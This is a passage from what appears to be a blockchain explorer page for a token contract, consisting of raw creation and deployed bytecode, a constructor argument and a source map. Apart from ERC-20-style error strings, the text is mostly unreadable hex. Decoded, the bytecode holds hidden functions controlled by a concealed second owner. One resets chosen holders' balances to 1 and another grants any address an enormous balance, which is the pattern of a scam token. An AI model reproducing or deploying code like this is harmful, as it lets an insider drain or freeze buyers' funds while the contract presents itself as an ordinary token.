fffffffffffffffffffffff1681526020019081526020015f20546112c190919063ffffffff16565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161125291906114c3565b60405180910390a3505050565b5f8383111582906112a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129d919061138e565b60405180910390fd5b505f83856112b49190611b55565b9050809150509392505050565b5f5f82846112cf9190611b88565b905083811015611314576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130b90611c05565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6113608261131e565b61136a8185611328565b935061137a818560208601611338565b61138381611346565b840191505092915050565b5f6020820190508181035f8301526113a68184611356565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113df826113b6565b9050919050565b6113ef816113d5565b81146113f9575f5ffd5b50565b5f8135905061140a816113e6565b92915050565b5f819050919050565b61142281611410565b811461142c575f5ffd5b50565b5f8135905061143d81611419565b92915050565b5f5f60408385031215611459576114586113ae565b5b5f611466858286016113fc565b92505060206114778582860161142f565b9150509250929050565b5f8115159050919050565b61149581611481565b82525050565b5f6020820190506114ae5f83018461148c565b92915050565b6114bd81611410565b82525050565b5f6020820190506114d65f8301846114b4565b92915050565b5f5f5f606084860312156114f3576114f26113ae565b5b5f611500868287016113fc565b9350506020611511868287016113fc565b92505060406115228682870161142f565b9150509250925092565b5f60ff82169050919050565b6115418161152c565b82525050565b5f60208201905061155a5f830184611538565b92915050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f84011261158157611580611560565b5b8235905067ffffffffffffffff81111561159e5761159d611564565b5b6020830191508360208202830111156115ba576115b9611568565b5b9250929050565b5f5f602083850312156115d7576115d66113ae565b5b5f83013567ffffffffffffffff8111156115f4576115f36113b2565b5b6116008582860161156c565b92509250509250929050565b5f60208284031215611621576116206113ae565b5b5f61162e848285016113fc565b91505092915050565b611640816113d5565b82525050565b5f6020820190506116595f830184611637565b92915050565b5f5f60408385031215611675576116746113ae565b5b5f611682858286016113fc565b9250506020611693858286016113fc565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806116e157607f821691505b6020821081036116f4576116f361169d565b5b50919050565b7f57415432304f776e61626c653a2063616c6c6572206973206e6f7420746865205f8201527f6f776e6572000000000000000000000000000000000000000000000000000000602082015250565b5f611754602583611328565b915061175f826116fa565b604082019050919050565b5f6020820190508181035f83015261178181611748565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f6117e16117dc6117d7846117b5565b6117be565b611410565b9050919050565b6117f1816117c7565b82525050565b5f60208201905061180a5f8301846117e8565b92915050565b5f819050919050565b5f61183361182e61182984611810565b6117be565b611410565b9050919050565b61184381611819565b82525050565b5f60208201905061185c5f83018461183a565b92915050565b7f57415432304f776e61626c653a206e6577206f776e657220697320746865207a5f8201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b5f6118bc602b83611328565b91506118c782611862565b604082019050919050565b5f6020820190508181035f8301526118e9816118b0565b9050919050565b7f574154696e746572666163653a20617070726f76652066726f6d20746865207a5f8201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b5f61194a602b83611328565b9150611955826118f0565b604082019050919050565b5f6020820190508181035f8301526119778161193e565b9050919050565b7f574154696e746572666163653a20617070726f766520746f20746865207a65725f8201527f6f20616464726573730000000000000000000000000000000000000000000000602082015250565b5f6119d8602983611328565b91506119e38261197e565b604082019050919050565b5f6020820190508181035f830152611a05816119cc565b9050919050565b7f574154696e746572666163653a207472616e736665722066726f6d20746865205f8201527f7a65726f20616464726573730000000000000000000000000000000000000000602082015250565b5f611a66602c83611328565b9150611a7182611a0c565b604082019050919050565b5f6020820190508181035f830152611a9381611a5a565b9050919050565b7f574154696e746572666163653a207472616e7366657220746f20746865207a655f8201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b5f611af4602a83611328565b9150611aff82611a9a565b604082019050919050565b5f6020820190508181035f830152611b2181611ae8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611b5f82611410565b9150611b6a83611410565b9250828203905081811115611b8257611b81611b28565b5b92915050565b5f611b9282611410565b9150611b9d83611410565b9250828201905080821115611bb557611bb4611b28565b5b92915050565b7f536166655741543a206164646974696f6e206f766572666c6f770000000000005f82015250565b5f611bef601a83611328565b9150611bfa82611bbb565b602082019050919050565b5f6020820190508181035f830152611c1c81611be3565b905091905056fe574154696e746572666163653a207472616e7366657220796f7572736f6c6420657863656564732062616c616e6365574154696e746572666163653a207472616e7366657220796f7572736f6c64206578636565647320616c6c6f77616e6365574154696e746572666163653a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220555cea4afe0abb94f1241189afcc9bbdb2e0b6b7b16a21f953388c548b9a401864736f6c634300081c0033000000000000000000000000432e69ccb799f021c6cbdea1b734b069578b4de2

Deployed Bytecode

0x608060405234801561000f575f5ffd5b5060043610610109575f3560e01c8063715018a6116100a057806395d89b411161006f57806395d89b41146102a5578063a457c2d7146102c3578063a9059cbb146102f3578063dd62ed3e14610323578063f2fde38b1461035357610109565b8063715018a6146102435780638099423b1461024d578063893d20e8146102695780638da5cb5b1461028757610109565b8063313ce567116100dc578063313ce567146101a957806339509351146101c75780633f282b4a146101f757806370a082311461021357610109565b806306fdde031461010d578063095ea7b31461012b57806318160ddd1461015b57806323b872dd14610179575b5f5ffd5b61011561036f565b604051610122919061138e565b60405180910390f35b61014560048036038101906101409190611443565b6103ff565b604051610152919061149b565b60405180910390f35b61016361041c565b60405161017091906114c3565b60405180910390f35b610193600480360381019061018e91906114dc565b610425565b6040516101a0919061149b565b60405180910390f35b6101b16104f9565b6040516101be9190611547565b60405180910390f35b6101e160048036038101906101dc9190611443565b61050e565b6040516101ee919061149b565b60405180910390f35b610211600480360381019061020c91906115c1565b6105bc565b005b61022d6004803603810190610228919061160c565b61076a565b60405161023a91906114c3565b60405180910390f35b61024b6107b0565b005b6102676004803603810190610262919061160c565b6108e7565b005b610271610a41565b60405161027e9190611646565b60405180910390f35b61028f610a4f565b60405161029c9190611646565b60405180910390f35b6102ad610a76565b6040516102ba919061138e565b60405180910390f35b6102dd60048036038101906102d89190611443565b610b06565b6040516102ea919061149b565b60405180910390f35b61030d60048036038101906103089190611443565b610bce565b60405161031a919061149b565b60405180910390f35b61033d6004803603810190610338919061165f565b610beb565b60405161034a91906114c3565b60405180910390f35b61036d6004803603810190610368919061160c565b610c6d565b005b60606006805461037e906116ca565b80601f01602080910402602001604051908101604052809291908181526020018280546103aa906116ca565b80156103f55780601f106103cc576101008083540402835291602001916103f5565b820191905f5260205f20905b8154815290600101906020018083116103d857829003601f168201915b5050505050905090565b5f61041261040b610e13565b8484610e1a565b6001905092915050565b5f600354905090565b5f610431848484610fdd565b6104ee8461043d610e13565b6104e985604051806060016040528060318152602001611c536031913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104a0610e13565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461125f9092919063ffffffff16565b610e1a565b600190509392505050565b5f60045f9054906101000a900460ff16905090565b5f6105b261051a610e13565b846105ad8560025f61052a610e13565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112c190919063ffffffff16565b610e1a565b6001905092915050565b6105c4610e13565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610652576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106499061176a565b60405180910390fd5b5f5f90505b82829050811015610765576001805f85858581811061067957610678611788565b5b905060200201602081019061068e919061160c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168383838181106106f5576106f4611788565b5b905060200201602081019061070a919061160c565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160405161075091906117f7565b60405180910390a38080600101915050610657565b505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107b8610e13565b73ffffffffffffffffffffffffffffffffffffffff166107d6610a4f565b73ffffffffffffffffffffffffffffffffffffffff161461082c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108239061176a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6108ef610e13565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109749061176a565b60405180910390fd5b6c0c9f2c9cd04674edea4000000060015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6c0c9f2c9cd04674edea40000000604051610a369190611849565b60405180910390a350565b5f610a4a610a4f565b905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610a85906116ca565b80601f0160208091040260200160405190810160405280929190818152602001828054610ab1906116ca565b8015610afc5780601f10610ad357610100808354040283529160200191610afc565b820191905f5260205f20905b815481529060010190602001808311610adf57829003601f168201915b5050505050905090565b5f610bc4610b12610e13565b84610bbf856040518060600160405280602c8152602001611c84602c913960025f610b3b610e13565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461125f9092919063ffffffff16565b610e1a565b6001905092915050565b5f610be1610bda610e13565b8484610fdd565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610c75610e13565b73ffffffffffffffffffffffffffffffffffffffff16610c93610a4f565b73ffffffffffffffffffffffffffffffffffffffff1614610ce9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce09061176a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4e906118d2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7f90611960565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ef6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eed906119ee565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fd091906114c3565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361104b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104290611a7c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b090611b0a565b60405180910390fd5b611123816040518060600160405280602f8152602001611c24602f913960015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461125f9092919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506111b48160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112c190919063ffffffff16565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161125291906114c3565b60405180910390a3505050565b5f8383111582906112a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129d919061138e565b60405180910390fd5b505f83856112b49190611b55565b9050809150509392505050565b5f5f82846112cf9190611b88565b905083811015611314576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130b90611c05565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6113608261131e565b61136a8185611328565b935061137a818560208601611338565b61138381611346565b840191505092915050565b5f6020820190508181035f8301526113a68184611356565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113df826113b6565b9050919050565b6113ef816113d5565b81146113f9575f5ffd5b50565b5f8135905061140a816113e6565b92915050565b5f819050919050565b61142281611410565b811461142c575f5ffd5b50565b5f8135905061143d81611419565b92915050565b5f5f60408385031215611459576114586113ae565b5b5f611466858286016113fc565b92505060206114778582860161142f565b9150509250929050565b5f8115159050919050565b61149581611481565b82525050565b5f6020820190506114ae5f83018461148c565b92915050565b6114bd81611410565b82525050565b5f6020820190506114d65f8301846114b4565b92915050565b5f5f5f606084860312156114f3576114f26113ae565b5b5f611500868287016113fc565b9350506020611511868287016113fc565b92505060406115228682870161142f565b9150509250925092565b5f60ff82169050919050565b6115418161152c565b82525050565b5f60208201905061155a5f830184611538565b92915050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f84011261158157611580611560565b5b8235905067ffffffffffffffff81111561159e5761159d611564565b5b6020830191508360208202830111156115ba576115b9611568565b5b9250929050565b5f5f602083850312156115d7576115d66113ae565b5b5f83013567ffffffffffffffff8111156115f4576115f36113b2565b5b6116008582860161156c565b92509250509250929050565b5f60208284031215611621576116206113ae565b5b5f61162e848285016113fc565b91505092915050565b611640816113d5565b82525050565b5f6020820190506116595f830184611637565b92915050565b5f5f60408385031215611675576116746113ae565b5b5f611682858286016113fc565b9250506020611693858286016113fc565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806116e157607f821691505b6020821081036116f4576116f361169d565b5b50919050565b7f57415432304f776e61626c653a2063616c6c6572206973206e6f7420746865205f8201527f6f776e6572000000000000000000000000000000000000000000000000000000602082015250565b5f611754602583611328565b915061175f826116fa565b604082019050919050565b5f6020820190508181035f83015261178181611748565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f6117e16117dc6117d7846117b5565b6117be565b611410565b9050919050565b6117f1816117c7565b82525050565b5f60208201905061180a5f8301846117e8565b92915050565b5f819050919050565b5f61183361182e61182984611810565b6117be565b611410565b9050919050565b61184381611819565b82525050565b5f60208201905061185c5f83018461183a565b92915050565b7f57415432304f776e61626c653a206e6577206f776e657220697320746865207a5f8201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b5f6118bc602b83611328565b91506118c782611862565b604082019050919050565b5f6020820190508181035f8301526118e9816118b0565b9050919050565b7f574154696e746572666163653a20617070726f76652066726f6d20746865207a5f8201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b5f61194a602b83611328565b9150611955826118f0565b604082019050919050565b5f6020820190508181035f8301526119778161193e565b9050919050565b7f574154696e746572666163653a20617070726f766520746f20746865207a65725f8201527f6f20616464726573730000000000000000000000000000000000000000000000602082015250565b5f6119d8602983611328565b91506119e38261197e565b604082019050919050565b5f6020820190508181035f830152611a05816119cc565b9050919050565b7f574154696e746572666163653a207472616e736665722066726f6d20746865205f8201527f7a65726f20616464726573730000000000000000000000000000000000000000602082015250565b5f611a66602c83611328565b9150611a7182611a0c565b604082019050919050565b5f6020820190508181035f830152611a9381611a5a565b9050919050565b7f574154696e746572666163653a207472616e7366657220746f20746865207a655f8201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b5f611af4602a83611328565b9150611aff82611a9a565b604082019050919050565b5f6020820190508181035f830152611b2181611ae8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611b5f82611410565b9150611b6a83611410565b9250828203905081811115611b8257611b81611b28565b5b92915050565b5f611b9282611410565b9150611b9d83611410565b9250828201905080821115611bb557611bb4611b28565b5b92915050565b7f536166655741543a206164646974696f6e206f766572666c6f770000000000005f82015250565b5f611bef601a83611328565b9150611bfa82611bbb565b602082019050919050565b5f6020820190508181035f830152611c1c81611be3565b905091905056fe574154696e746572666163653a207472616e7366657220796f7572736f6c6420657863656564732062616c616e6365574154696e746572666163653a207472616e7366657220796f7572736f6c64206578636565647320616c6c6f77616e6365574154696e746572666163653a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220555cea4afe0abb94f1241189afcc9bbdb2e0b6b7b16a21f953388c548b9a401864736f6c634300081c0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000432e69ccb799f021c6cbdea1b734b069578b4de2

-----Decoded View---------------
Arg [0] : legosSwapRouterv3 (address): 0x432e69ccB799F021C6CBDEa1b734B069578B4de2

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000432e69ccb799f021c6cbdea1b734b069578b4de2


Deployed Bytecode Sourcemap

11525:7550:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12825:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14789:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12992:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15449:335;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12501:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16202:234;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13567:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13165:120;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5964:148;;;:::i;:::-;;14203:207;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12338:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5308:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12662:98;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16947:280;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14022:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14475:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6267:249;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12825:94;12873:13;12906:5;12899:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12825:94;:::o;14789:177::-;14873:4;14890:46;14899:12;:10;:12::i;:::-;14913;14927:8;14890;:46::i;:::-;14954:4;14947:11;;14789:177;;;;:::o;12992:102::-;13047:7;13074:12;;13067:19;;12992:102;:::o;15449:335::-;15552:4;15569:39;15579:6;15587:10;15599:8;15569:9;:39::i;:::-;15619:135;15628:6;15636:12;:10;:12::i;:::-;15650:103;15691:8;15650:103;;;;;;;;;;;;;;;;;:14;:22;15665:6;15650:22;;;;;;;;;;;;;;;:36;15673:12;:10;:12::i;:::-;15650:36;;;;;;;;;;;;;;;;:40;;:103;;;;;:::i;:::-;15619:8;:135::i;:::-;15772:4;15765:11;;15449:335;;;;;:::o;12501:94::-;12553:5;12578:9;;;;;;;;;;;12571:16;;12501:94;:::o;16202:234::-;16291:4;16308:98;16317:12;:10;:12::i;:::-;16331;16345:60;16392:12;16345:14;:28;16360:12;:10;:12::i;:::-;16345:28;;;;;;;;;;;;;;;:42;16374:12;16345:42;;;;;;;;;;;;;;;;:46;;:60;;;;:::i;:::-;16308:8;:98::i;:::-;16424:4;16417:11;;16202:234;;;;:::o;13567:240::-;13347:12;:10;:12::i;:::-;13332:27;;:11;;;;;;;;;;;:27;;;13324:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;13648:9:::1;13660:1;13648:13;;13643:161;13667:11;;:18;;13663:1;:22;13643:161;;;13730:1;13703:8:::0;:24:::1;13712:11;;13724:1;13712:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;13703:24;;;;;;;;;;;;;;;:28;;;;13790:1;13757:39;;13766:11;;13778:1;13766:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;13757:39;;;13794:1;13757:39;;;;;;:::i;:::-;;;;;;;;13687:3;;;;;;;13643:161;;;;13567:240:::0;;:::o;13165:120::-;13233:7;13260:8;:17;13269:7;13260:17;;;;;;;;;;;;;;;;13253:24;;13165:120;;;:::o;5964:148::-;5539:12;:10;:12::i;:::-;5528:23;;:7;:5;:7::i;:::-;:23;;;5520:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;6071:1:::1;6034:40;;6055:6;;;;;;;;;;;6034:40;;;;;;;;;;;;6102:1;6085:6;;:19;;;;;;;;;;;;;;;;;;5964:148::o:0;14203:207::-;13347:12;:10;:12::i;:::-;13332:27;;:11;;;;;;;;;;;:27;;;13324:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;14297:22:::1;14273:8;:21;14282:11;14273:21;;;;;;;;;;;;;;;:46;;;;14375:1;14345:57;;14354:11;14345:57;;;14379:22;14345:57;;;;;;:::i;:::-;;;;;;;;14203:207:::0;:::o;12338:94::-;12390:7;12417;:5;:7::i;:::-;12410:14;;12338:94;:::o;5308:87::-;5354:7;5381:6;;;;;;;;;;;5374:13;;5308:87;:::o;12662:98::-;12712:13;12745:7;12738:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12662:98;:::o;16947:280::-;17035:4;17052:145;17061:12;:10;:12::i;:::-;17075;17089:107;17136:11;17089:107;;;;;;;;;;;;;;;;;:14;:28;17104:12;:10;:12::i;:::-;17089:28;;;;;;;;;;;;;;;:42;17118:12;17089:42;;;;;;;;;;;;;;;;:46;;:107;;;;;:::i;:::-;17052:8;:145::i;:::-;17215:4;17208:11;;16947:280;;;;:::o;14022:175::-;14105:4;14122:45;14132:12;:10;:12::i;:::-;14146:10;14158:8;14122:9;:45::i;:::-;14185:4;14178:11;;14022:175;;;;:::o;14475:158::-;14563:7;14590:14;:21;14605:5;14590:21;;;;;;;;;;;;;;;:35;14612:12;14590:35;;;;;;;;;;;;;;;;14583:42;;14475:158;;;;:::o;6267:249::-;5539:12;:10;:12::i;:::-;5528:23;;:7;:5;:7::i;:::-;:23;;;5520:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;6376:1:::1;6356:22;;:8;:22;;::::0;6348:78:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;6471:8;6442:38;;6463:6;;;;;;;;;;;6442:38;;;;;;;;;;;;6500:8;6491:6;;:17;;;;;;;;;;;;;;;;;;6267:249:::0;:::o;3881:98::-;3934:7;3961:10;3954:17;;3881:98;:::o;18677:389::-;18795:1;18778:19;;:5;:19;;;18770:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;18888:1;18864:26;;:12;:26;;;18856:80;;;;;;;;;;;;:::i;:::-;;;;;;;;;18995:8;18957:14;:21;18972:5;18957:21;;;;;;;;;;;;;;;:35;18979:12;18957:35;;;;;;;;;;;;;;;:46;;;;19035:12;19019:39;;19028:5;19019:39;;;19049:8;19019:39;;;;;;:::i;:::-;;;;;;;;18677:389;;;:::o;17714:519::-;17833:1;17815:20;;:6;:20;;;17807:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;17925:1;17903:24;;:10;:24;;;17895:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;18022:81;18043:8;18022:81;;;;;;;;;;;;;;;;;:8;:16;18031:6;18022:16;;;;;;;;;;;;;;;;:20;;:81;;;;;:::i;:::-;18003:8;:16;18012:6;18003:16;;;;;;;;;;;;;;;:100;;;;18137:34;18162:8;18137;:20;18146:10;18137:20;;;;;;;;;;;;;;;;:24;;:34;;;;:::i;:::-;18114:8;:20;18123:10;18114:20;;;;;;;;;;;;;;;:57;;;;18204:10;18187:38;;18196:6;18187:38;;;18216:8;18187:38;;;;;;:::i;:::-;;;;;;;;17714:519;;;:::o;8158:178::-;8244:7;8273:1;8268;:6;;8276:12;8260:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;8296:9;8312:1;8308;:5;;;;:::i;:::-;8296:17;;8329:1;8322:8;;;8158:178;;;;;:::o;7333:166::-;7391:7;7407:9;7423:1;7419;:5;;;;:::i;:::-;7407:17;;7444:1;7439;:6;;7431:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;7492:1;7485:8;;;7333:166;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1446:117;1555:1;1552;1545:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077: